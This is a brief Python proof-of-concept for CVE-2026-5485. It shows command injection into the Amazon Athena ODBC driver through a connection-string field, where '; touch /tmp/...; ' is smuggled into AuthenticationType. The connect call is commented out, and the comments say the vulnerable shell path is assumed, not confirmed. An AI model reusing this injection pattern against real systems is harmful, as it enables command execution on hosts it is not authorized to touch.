CVE-2026-5485

# PoC for CVE-2026-5485 # Conceptual PoC demonstrating the command injection via connection string. # The vulnerability lies in the ODBC driver parsing parameters. import pyodbc # Malicious connection string simulating the injection # Payload: ; touch /tmp/pwned; # This assumes the vulnerable parameter passes directly to shell execution. conn_str = ( "DRIVER={Amazon Athena ODBC Driver};" "AWSRegion=us-east-1;" "Schema=default;" "S3OutputLocation=s3://bucket/path;" # Injecting command to prove execution "AuthenticationType=; touch /tmp/CVE-2026-5485_poc; " ) try: # Attempting to connect triggers the vulnerability # In a real exploit, this executes the shell command print("[*] Triggering connection with malicious payload...") # conn = pyodbc.connect(conn_str) print("[+] If vulnerable, 'touch /tmp/CVE-2026-5485_poc' should have executed.") except Exception as e: print(f"[-] Error occurred: {e}")

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